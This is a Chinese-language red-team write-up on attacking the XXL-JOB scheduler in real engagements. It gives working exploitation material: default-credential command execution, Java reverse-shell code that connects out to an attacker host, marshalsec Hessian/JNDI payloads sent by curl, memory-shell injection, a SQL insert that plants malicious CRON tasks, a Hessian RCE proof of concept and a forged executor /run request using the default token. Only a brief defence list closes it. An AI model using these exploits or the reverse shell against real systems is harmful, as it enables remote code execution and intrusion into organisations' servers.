XXL-JOB在真实攻防下的总结
字数 1368 2025-08-05 12:50:26
XXL-JOB在真实攻防中的利用总结
一、XXL-JOB简介
XXL-JOB是一个分布式任务调度平台,在真实攻防场景中经常遇到,由于其默认配置和设计特点,存在多个可利用的安全漏洞。
二、基本利用方式 - 计划任务命令执行
1. 默认凭据利用
- 默认账号密码:admin/123456
- 系统不会强制要求修改默认密码
- 登录后可创建计划任务执行命令
2. 命令执行方法
- 登录后台
- 新建任务
- 选择脚本语言类型
- 在GLUE IDE中编辑命令
- 选择"执行一次"
3. 常见问题与解决方案
-
系统类型不匹配问题:
- 不要假设executor总是运行在Linux下
- 可能运行在Windows环境,需使用PowerShell命令
- 通用方案:使用Java代码执行,兼容Windows和Linux
-
反弹Shell代码示例:
package com.xxl.job.service.handler;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
public class reverse {
// 省略StreamConnector内部类
public reverse() {
reverseConn("ip:port");
}
public void reverseConn(String ip) {
String ipport = ip;
try {
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ipport.split(":")[0],
Integer.parseInt(ipport.split(":")[1]));
Process process = Runtime.getRuntime().exec(ShellPath);
new StreamConnector(process.getInputStream(),
socket.getOutputStream()).start();
new StreamConnector(process.getErrorStream(),
socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(),
process.getOutputStream()).start();
} catch (Exception e) {
e.printStackTrace();
}
}
}
- Executor不出网问题:
- 检查executor注册方式
- 自动注册的executor通常保持活跃(每2分钟发送心跳)
- 手动注册的executor可能失效
三、API未授权访问漏洞(XXL-JOB <= 2.0.2)
1. 利用JNDI注入打内存马
- 要求:目标出网
- 使用marshalsec生成payload:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/aaa > test.ser
- 发送payload:
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api
2. 利用XSLT注入内存马
- 适用于不出网环境
- 可注入suo5内存马进行正向代理内网穿透
四、执行命令注入内存马
- 适用场景:executor不出网
- 要求:admin端和executor在同一主机
- 方法:
- 使用echo或Java写入文件方法将agent内存马写入目标主机
- 加载内存马
五、数据库利用技巧
1. 通过数据库获取XXL-JOB密码
- 获取数据库中的XXL-JOB凭据
- 密码为MD5加密,可尝试解密或新增用户
2. 直接通过数据库写入恶意任务
- 在xxl_job.xxl_job_info表中插入恶意任务:
INSERT INTO `xxl_job`.`xxl_job_info`
(`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`)
VALUES (7, 1, '22222', '2023-12-27 14:57:36', '2023-12-27 14:58:23', '22222', '', 'CRON', '0/5 * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_POWERSHELL', 'calc\n', '12312321', '2023-12-27 14:57:48', '', 0, 1703660320000, 1703660325000);
- 关键参数说明:
schedule_type: 设置为CRONschedule_conf: 执行频率(如0/5 * * * * ?表示每5秒一次)glue_type: 命令类型(GLUE_POWERSHELL/GLUE_SHELL/GLUE_GROOVY等)glue_source: 要执行的命令trigger_status: 需要改为1才会执行
六、Executor未授权访问漏洞
1. XXL-JOB < 2.1.2版本
- 利用Hessian触发
- 参考项目:https://github.com/OneSourceCat/XxlJob-Hessian-RCE
- 示例代码:
// 省略包和导入
public class App {
// 省略sendData方法
public static void main(String[] args) throws Exception {
String code = "package com.xxl.job.service.handler;\n" +
"import com.xxl.job.core.log.XxlJobLogger;\n" +
"import com.xxl.job.core.biz.model.ReturnT;\n" +
"import com.xxl.job.core.handler.IJobHandler;\n" +
"import java.lang.Runtime;\n" +
"public class DemoGlueJobHandler extends IJobHandler {\n" +
"\t@Override\n" +
"\tpublic ReturnT<String> execute(String param) throws Exception {\n" +
" \tRuntime.getRuntime().exec(\"calc\");\n" +
"\t\treturn ReturnT.SUCCESS;\n" +
"\t}\n" +
"}\n";
TriggerParam params = new TriggerParam();
params.setJobId(10);
params.setExecutorBlockStrategy("SERIAL_EXECUTION");
params.setLogId(10);
params.setLogDateTime((new Date()).getTime());
params.setGlueType("GLUE_GROOVY");
params.setGlueSource(code);
params.setGlueUpdatetime((new Date()).getTime());
XxlRpcRequest xxlRpcRequest = new XxlRpcRequest();
xxlRpcRequest.setRequestId("111");
xxlRpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
xxlRpcRequest.setMethodName("run");
xxlRpcRequest.setParameterTypes(new Class[]{TriggerParam.class});
xxlRpcRequest.setParameters(new Object[] {params});
xxlRpcRequest.setCreateMillisTime((new Date()).getTime());
HessianSerializer serializer = new HessianSerializer();
byte[] data = serializer.serialize(xxlRpcRequest);
sendData("http://127.0.0.1:9999", data);
}
}
2. 2.2.0 <= XXL-JOB <= 2.4.0版本
- 支持RESTFUL API,可直接发送HTTP包伪造
- 示例请求:
POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
3. XXL-JOB >= 2.4.0版本
- 添加了默认token(default_token)
- 利用方式与2.2.0-2.4.0相同,但需要包含token头
- 许多管理员不会修改默认token,仍可被利用
七、防御建议
- 修改默认密码admin/123456
- 及时升级到最新版本
- 修改默认的XXL-JOB-ACCESS-TOKEN
- 限制XXL-JOB管理界面的访问权限
- 监控数据库中的异常任务记录
- 对executor进行网络隔离,限制其出站连接